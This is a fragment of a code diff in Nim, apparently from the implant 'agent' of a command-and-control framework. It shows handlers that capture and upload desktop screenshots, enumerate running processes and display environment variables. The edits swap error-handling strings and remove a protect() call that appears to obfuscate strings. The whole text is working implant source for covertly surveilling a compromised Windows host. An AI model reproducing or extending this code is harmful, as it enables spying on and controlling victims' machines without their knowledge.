if deviceCtx == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: ReleaseDC(0, deviceCtx)
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
if gdiCurrent == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: DeleteObject(gdiCurrent)
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Construct BMP headers
# Calculate amount of bits required to represent screenshot
@@ -114,13 +114,13 @@ when defined(agent):
screenshotLength = bmpFileHeader.bfSize
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
if screenshotBytes == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
# Assembly the bitmap image
memDeviceCtx = CreateCompatibleDC(deviceCtx)
if memDeviceCtx == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: ReleaseDC(0, memDeviceCtx)
# Initialize BITMAPINFO with prepared info header
@@ -128,12 +128,12 @@ when defined(agent):
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
if bmpSection == 0 or bitsBuffer == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Select the newly created bitmap into the memory device context
gdiObject = SelectObject(memDeviceCtx, bmpSection)
if gdiObject == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: DeleteObject(gdiObject)
# Copy the screen content from the source device context to the memory device context
@@ -145,7 +145,7 @@ when defined(agent):
resX, resY, # Source coordinates
SRCCOPY # Copy source directly to destination
) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Return the screenshot as a seq[byte]
result = newSeq[byte](screenshotLength)
@@ -156,7 +156,7 @@ when defined(agent):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try:
print protect(" [>] Taking and uploading screenshot.")
print " [>] Taking and uploading screenshot."
let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"

View File

@@ -52,7 +52,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
print protect(" [>] Listing running processes.")
print " [>] Listing running processes."
try:
var processes: seq[DWORD] = @[]
@@ -62,7 +62,7 @@ when defined(agent):
# Take a snapshot of running processes
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, protect("Invalid permissions."))
raise newException(CatchableError, GetLastError().getError)
# Close handle after object is no longer used
defer: CloseHandle(hSnapshot)
@@ -72,7 +72,7 @@ when defined(agent):
# Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, protect("Failed to get processes."))
raise newException(CatchableError, GetLastError().getError)
while true:
var procInfo = ProcessInfo(
@@ -126,7 +126,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
print protect(" [>] Displaying environment variables.")
print " [>] Displaying environment variables."
try:
var output: string = ""